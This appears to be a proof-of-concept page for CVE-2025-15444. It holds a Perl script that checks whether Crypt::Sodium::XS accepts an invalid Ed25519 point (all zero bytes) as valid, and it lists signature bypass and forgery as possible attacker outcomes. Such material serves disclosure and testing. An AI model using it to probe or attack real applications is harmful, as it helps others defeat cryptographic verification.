CVE-2025-15444 Crypt::Sodium::XS libsodium椭圆曲线点验证漏洞

# PoC for CVE-2025-15444 - libsodium crypto_core_ed25519_is_valid_point bypass # This PoC demonstrates how invalid Ed25519 points can pass validation use strict; use warnings; # Attempt to load vulnerable Crypt::Sodium::XS version BEGIN { eval { require Crypt::Sodium::XS; Crypt::Sodium::XS->import(); }; if ($@) { die "Crypt::Sodium::XS not available: $@"; } } # Check if the version is vulnerable my $module_version = $Crypt::Sodium::XS::VERSION // 'unknown'; my $vulnerable = 1; if ($module_version ne 'unknown' && $module_version ge '0.000042') { $vulnerable = 0; print "[+] Crypt::Sodium::XS version $module_version is NOT vulnerable\n"; exit(0); } print "[*] Testing Crypt::Sodium::XS version: $module_version\n"; print "[*] CVE-2025-15444 PoC - Elliptic Curve Point Validation Bypass\n\n"; # Create a point with invalid order (not in main group L) # This is a modified point that passes some checks but isn't in the main group my $invalid_point = "\x00" x 32; # Invalid compressed point representation # In vulnerable versions, crypto_core_ed25519_is_valid_point may return 1 # even for points with invalid order my $result = crypto_core_ed25519_is_valid_point($invalid_point); if ($result) { print "[!] VULNERABLE: Invalid point was accepted as valid!\n"; print "[!] This indicates the point validation bypass vulnerability\n"; print "[!] Attackers could exploit this to:\n"; print "[!] - Bypass signature verification in custom protocols\n"; print "[!] - Use points with invalid order in cryptographic operations\n"; print "[!] - Potentially forge signatures in vulnerable applications\n"; } else { print "[+] Point correctly rejected\n"; } print "\n[*] Recommended fix: Upgrade Crypt::Sodium::XS to >= 0.000042\n";